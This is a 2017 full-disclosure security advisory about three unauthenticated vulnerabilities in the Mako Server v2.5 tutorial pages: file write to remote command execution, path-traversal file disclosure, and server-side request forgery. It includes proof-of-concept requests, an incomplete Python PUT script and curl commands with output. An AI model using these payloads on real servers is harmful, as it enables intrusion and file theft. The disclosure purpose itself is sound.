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Date: Wed, 13 Sep 2017 01:55:29 -0400
From: hyp3rlinx <>
Subject: [FD] Mako Web Server v2.5 Multiple Unauthenticated Vulnerabilities

[+] SSD Beyond Security:
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website:
[+] Source:
[+] ISR: ApparitionSec

Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in Mako
Server’s tutorial page.

The vulnerabilities found are:

Unauthenticated Arbitrary File Write vulnerability that leads to Remote
Command Execution
Unauthenticated File Disclosure
Unauthenticated Server Side Request Forgery
As these tutorial may be used as the basis for production code, it is
important for users to be aware of these issues.

“As a compact application and web server, the Mako Server helps developers
rapidly design secure IoT and web applications. The Mako Server provides
an application server environment from which developers can design and
implement complete, custom solutions. The Mako Web Server is ideal for
embedded Linux systems.”

An independent security researcher, John Page AKA hyp3rlinx, has reported
this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

RealTimeLogic was informed of the vulnerability on Aug 13, but while
acknowledging the receipt of the vulnerability information, refused to
respond to the
technical claims, to give a fix timeline or coordinate an advisory, saying:

“I just sent a formal notification for the commercial license requirement
and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing against
these support inquiries.”

At this time it’s unclear whether these vulnerabilities are going to be
fixed and further attempts to get a status clarification failed.

Vulnerabilities details

Unauthenticated Arbitrary File Write vulnerability that leads to Remote
Command Execution:

Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT
requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page,
the input passed
to a function responsible for accessing the filesystem.

The attacker input will be saved on the victims machine and can be execute
by sending HTTP GET request to ‘manage.lsp‘

HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua

Proof of Concept

import urllib2,time

#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx

print  'MakoServer v2.5 Remote Command Execution'


opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'



Unauthenticated File Disclosure

Mako web-server tutorial is not sufficiently sanitizing GET requests, when
an attacker send GET request to the URI IP/fs/../.., the input passed
without modification and the response with the file content is returned.

Proof of Concept
The following GET request will response with the C/Windows/system.ini

curl -v http://VICTIM-IP/fs/C/Windows/system.ini

* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Accept: */*
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server:
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support



Server Side Request Forgery

Mako web-server tutorial is not sufficiently sanitizing incoming POST
requests, when an attacker sends an POST request to the
URI, the input will be executed and the server will connect to the
attacker’s machine.

Proof of Concept
Start Wireshark to see successful connections made from Mako Web Server
victim machine.

Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net
-d path=http://EXTERNAL-IP

Network Access:


Disclosure Timeline:
Would like to acknowledge Beyond Security’s SSD program for the help with
co-ordination of this vulnerability.
More details can be found on their blog at:

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


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